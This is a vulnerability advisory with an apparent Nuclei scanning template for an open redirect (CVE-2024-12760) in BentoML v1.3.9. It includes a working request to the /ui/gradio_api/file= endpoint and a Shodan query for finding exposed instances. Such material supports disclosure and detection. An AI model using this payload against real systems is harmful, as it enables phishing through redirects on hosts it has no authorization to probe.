An open redirect vulnerability exists in BentoML v1.3.9, where the file parameter in the /ui/gradio_api/file= endpoint can be manipulated to redirect users to malicious websites. This could facilitate phishing attacks by tricking users into visiting attacker-controlled URLs.
PoC
id: CVE-2024-12760
info:
name: BentoML v1.3.9 - Open Redirect
author: DhiyaneshDK
severity: medium
description: |
An open redirect vulnerability exists in BentoML v1.3.9, where the file parameter in the /ui/gradio_api/file= endpoint can be manipulated to redirect users to malicious websites. This could facilitate phishing attacks by tricking users into visiting attacker-controlled URLs.
impact: |
Unauthenticated attackers can redirect users to malicious URLs via the file parameter, facilitating phishing attacks.
remediation: |
Update BentoML to a version newer than v1.3.9.
reference:
- https://huntr.com/bounties/2a284ff6-cc6c-4a10-b72e-1bb31c842bca
metadata:
verified: true
max-request: 1
shodan-query: html:"BentoML"
tags: cve,cve2024,gradio,redirect,oss,bentoml,vuln
http:
- method: GET
path:
- "{{BaseURL}}/ui/gradio_api/file=https://oast.me"
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'
# digest: 4b0a00483046022100ce43d8fc16880f3f410a7a48bc9bfe0c6c98263bb652b7d0dbb9ff75d7ab61cb022100b5d4f7c21b39f1c316693fd84619d56dade0ceb5f60d2fff29a914eaeb0c571f:922c64590222798bb761d5b6d8e72950
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